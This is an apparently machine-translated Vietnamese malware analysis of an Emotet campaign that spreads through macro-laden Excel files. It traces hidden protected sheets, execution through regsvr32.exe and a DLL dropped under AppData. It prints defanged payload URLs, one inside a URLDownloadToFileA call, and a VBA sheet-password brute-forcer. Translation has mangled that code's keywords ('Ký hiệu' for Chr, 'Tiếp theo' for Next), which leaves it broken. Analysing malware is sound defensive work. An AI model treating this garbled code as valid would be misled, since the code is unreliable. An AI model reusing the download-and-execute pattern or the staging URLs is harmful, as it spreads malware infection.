Bởi Ilan Duhin và Yossi Poberezsky( @pober58 )

Tóm tắt điều hành:

Trong những tháng qua, đã có một chiến dịch mở rộng ở Châu Âu, đặc biệt là phần mềm độc hại có tên “Emotet”. Phần mềm độc hại đến dưới dạng tệp Excel và cố gắng giao tiếp với một số URL và cuối cùng, tải bốn tệp DLL xuống máy.

Emotet sử dụng lệnh gọi API của CreateDirectoryA để tạo một thư mục nơi các tệp sẽ được lưu cục bộ trên máy tính và từ đó chạy qua Regsvr32.exe.

Phân tích tĩnh:

Công cụ OLE:

Kiểm tra cấu trúc tập tin.

Bắt một đầu mối mà chúng tôi có bên trong excel 6 tờ.

Kiểm tra khả năng của tệp bằng cách sử dụng mawoverview.py và nhận một số manh mối.

Vào bên trong luồng thứ ba và trích xuất các chuỗi của anh ấy.

Tìm 4 URL đáng ngờ.

Tệp chứa macro. Ngoài ra, hãy tìm tất cả các ô chứa toàn bộ mã.

Phân tích động:

Đầu tiên, chúng tôi đã thử mở excel (một phần của office 2021), chúng tôi nhận thấy rằng nó đã mở mà không cần

“Bật nội dung” bật lên. sau khi thực hiện một số nghiên cứu nhỏ, thông báo chỉ hiển thị trên các phiên bản office 2007–2013. Sau đó, Microsoft chặn tùy chọn bật macro chạy tự động.

Để bật macro, chúng ta cần thay đổi tùy chọn như trong hình bên dưới:

** trong office 2007/2013, nó sẽ chạy bằng cách nhấp vào “Enable Content”

Cần lưu và nhập lại thành file excel.

Và bây giờ…

Khi chúng tôi nhấn vào nút, bốn thông báo sẽ bật lên.

Khi nhấp vào regsvr32.exe, bạn có thể thấy các macro đó sử dụng nó để thực thi phần mềm độc hại. Nó hoạt động giống như một ống nhỏ giọt vì nó tạo ra một thư mục để đặt DLL của anh ấy ở đó.

Khi mở Excel và theo dõi tĩnh, chúng tôi thấy 6 trang tính đang ẩn nạn nhân.

Mỗi tờ yêu cầu một mật khẩu.

Để trích xuất mật khẩu, chúng tôi sử dụng bộ ngắt mật khẩu cho VBA.

Nguồn:https://www.instructables.com/VBA-Code-To-Unlock-A-Locked-Excel-Sheet/

Trình bẻ mật khẩu phụ()

'Phá bảo vệ mật khẩu bảng tính.

Dim i Là Số Nguyên, j Là Số Nguyên, k Là Số Nguyên

Dim l Là số nguyên, m là số nguyên, n là số nguyên

Dim i1 dưới dạng số nguyên, i2 dưới dạng số nguyên, i3 dưới dạng số nguyên

Dim i4 dưới dạng số nguyên, i5 dưới dạng số nguyên, i6 dưới dạng số nguyên

Khi gặp lỗi Tiếp tục Tiếp theo

Với i = 65 Đến 66: Với j = 65 Đến 66: Với k = 65 Đến 66

Với l = 65 Đến 66: Với m = 65 Đến 66: Với i1 = 65 Đến 66

Cho i2 = 65 Đến 66: Cho i3 = 65 Đến 66: Cho i4 = 65 Đến 66

Với i5 = 65 Đến 66: Với i6 = 65 Đến 66: Với n = 32 Đến 126

ActiveSheet.Unprotect Chr(i) & Chr(j) & Chr(k) & _

Ký hiệu (l) & Ký hiệu (m) & Ký hiệu (i1) & Ký hiệu (i2) & Ký hiệu (i3) & _

Ký hiệu (i4) & Ký hiệu (i5) & Ký hiệu (i6) & Ký hiệu (n)

Nếu ActiveSheet.ProtectContents = Sai thì

MsgBox “Một mật khẩu có thể sử dụng là “ & Chr(i) & Chr(j) & _

Ký hiệu (k) & Ký hiệu (l) & Ký hiệu (m) & Ký hiệu (i1) & Ký hiệu (i2) & _

Ký hiệu (i3) & Ký hiệu (i4) & Ký hiệu (i5) & Ký hiệu (i6) & Ký hiệu (n)

Thoát phụ

kết thúc nếu

Tiếp theo: Tiếp theo: Tiếp theo: Tiếp theo: Tiếp theo: Tiếp theo

Tiếp theo: Tiếp theo: Tiếp theo: Tiếp theo: Tiếp theo: Tiếp theo

kết thúc phụ

Để chèn mã VBA của chúng tôi, chúng tôi cần nhấn: ALT + F11, dán nó và Chạy.

dán trình ngắt mật khẩu bên trong mỗi trang tính.

Excel tự động hiển thị cho chúng tôi mật khẩu cho trang tính được yêu cầu.

Chúng tôi có thể xác minh nó bằng cách nhấn chuột phải và thấy rằng trang tính được “Được bảo vệ”.

Dữ liệu bảng 1:

Dữ liệu bảng 2:

Khi chúng tôi sắp xếp lại các chuỗi, chúng tôi thấy bốn URL:

- URLDownloadToFileA”, “JCCB”, 0, “https://audioselec.c[o]m/about/dDw5ggtyMojggTqhc

-https://geringer-muehle.[de]/wp-admin/G/

-http://intolove.co.[uk]/wp-admin/FbGhiWtrEzrQ/

-http://isc.net.[ua]/themes/3rU/

Dữ liệu bảng 3:

Dữ liệu bảng 4:

Hai URL khác mà chúng ta đã thấy trước đó.

Dữ liệu bảng 5:

Dữ liệu bảng 6:

Chứa các hướng dẫn về cách tóm tắt các chuỗi.

Phân tích DLL:

Chức năng xuất số 18.

Sau khi giải trí với DLL, chúng tôi đã tìm thấy một vài chuỗi thú vị trong tab bộ nhớ.

Ngoài ra, nó tự giảm xuống khi thực hiện theo đường dẫn tiếp theo:

Khi phân tích chuỗi bộ nhớ của DLL trong VT, chúng tôi đã nhận được mô tả về Emotet.

kết luận:

· Các macro tiếp cận để tải xuống và thực thi phần mềm độc hại Emotet.

· File excel sử dụng macro để tiếp cận với URL web.

· Qua regsvr32.exe Emotet đang thực hiện.

· Emotet dropper được tải xuống một thư mục được tạo ngẫu nhiên trong %UserProfile%\Appdata\Local dưới dạng tệp dll.